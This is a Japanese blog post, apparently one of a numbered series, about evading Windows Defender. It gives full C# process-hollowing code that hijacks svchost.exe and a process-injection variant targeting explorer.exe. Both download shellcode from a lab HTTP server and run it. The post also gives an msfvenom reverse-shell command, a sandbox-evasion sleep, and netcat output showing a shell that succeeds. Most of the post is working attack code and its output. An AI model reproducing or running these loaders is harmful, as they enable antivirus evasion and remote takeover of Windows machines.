#91 Process Hollowing
引き続き、Windows Defenderの回避を試みます。Process Injectionに似たテクニックですが、Process Hollowingやってみました。
Process Injectionは、プロセスの空きメモリにコードを展開して実行しますが、Process Hollowingは、プロセスの処理自体を書き換えてしまいます。リバースシェルは、外部との通信を行うので、svchostのような外部通信をよく行うプロセスをハイジャックすることで、あやしさを打ち消します。
では、やってみましょう。
Process Hollowing
Process Hollowingの流れ
まず、CreateProcessでプロセスをサスペンド状態で立ち上げます。コードを書き込む位置を特定するために、ZwQueryInformationProcess、ReadProcessMemoryでプロセスのメモリを読み取ります。そして、WriteProcessMemoryでプロセスにコードを書き込み、ResumeThreadによってプロセスを開始します。
C#でのプログラムは、以下のようになります。
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace ProcessHollowing
{
class Program
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int16 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
public static int Main()
{
STARTUPINFO startup_info = new STARTUPINFO();
PROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref startup_info, out process_info);
PROCESS_BASIC_INFORMATION basic_info = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = process_info.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref basic_info, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr hBase = (IntPtr)((Int64)basic_info.PebAddress + 0x10);
byte[] addr = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, hBase, addr, addr.Length, out nRead);
IntPtr svchost = (IntPtr)(BitConverter.ToInt64(addr, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchost, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew + 0x28;
uint entrypoint = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr ep_address = (IntPtr)(entrypoint + (UInt64)svchost);
string url = "http://192.168.164.130/tmp/shell";
byte[] buf = new System.Net.WebClient().DownloadData(url);
WriteProcessMemory(hProcess, ep_address, buf, buf.Length, out nRead);
ResumeThread(process_info.hThread);
return 0;
}
}
}
リバースシェルは、msfvenomで生成します。kaliでHTTPサーバーを立ち上げ、ダウンロードするようにしました。
$ sudo msfvenom -p windows/x64/shell_reverse_tcp rse_tcp LHOST=192.168.164.130 LPORT=443 -f raw -o /var/www/html/tmp/shell
実行してみましたが、やっぱりブロックされました。
Process Hollowingの処理の流れから見破られているのでしょうか。dllが隔離されてしまったようです。Process Injectionのときはこんなのでませんでした。
Windows Defenderを解除すれば、ちゃんとリバースシェルできます。
$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.164.130] from (UNKNOWN) [192.168.164.129] 50787
Microsoft Windows [Version 10.0.19045.3324]
(c) Microsoft Corporation. All rights reserved.
C:\Users\kusa\Projects\ProcessHollowing\ProcessHollowing\bin\Release\net6.0>
Process Injection Again
リバースシェルをダウンロードする方式でProcess Injectionしてみます。ついでに、サンドボックス回避のため、10秒スリープしておきます。
static void Main(string[] args)
{
Thread.Sleep(10);
IntPtr handle = OpenProcess(0x001F0FFF, false, 4908); // explorer.exeのPID
IntPtr addr = VirtualAllocEx(handle, IntPtr.Zero, 0x1000, 0x3000, 0x40);
string url = "http://192.168.164.130/tmp/shell";
byte[] buf = new System.Net.WebClient().DownloadData(url);
IntPtr outSize;
WriteProcessMemory(handle, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(handle, IntPtr.Zero, 0, addr,IntPtr.Zero, 0, IntPtr.Zero);
}
すると、どうでしょう。リバースシェル成功しました!
$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.164.130] from (UNKNOWN) [192.168.164.129] 50855
Microsoft Windows [Version 10.0.19045.3324]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
desktop-aarhhn0\kusa
Windows側では、大量のアラートとともに、explorer.exeのプロセスがキルされてしまいましたが、シェルは生きています。やった!
まとめ
長きに渡る戦いに決着がつきました。Windowsに標準装備のWindows Defenderですが、かなり厳しくウイルスチェックしてくれているとわかりました。研究すればもっとスマートな回避策があるかもしれません。また、その回避策も明日には対策されてしまうかもしれません。厳しい世界です。
ほかのアンチウイルスソフトも試してみたいですね。
EOF
この記事が気に入ったらサポートをしてみませんか?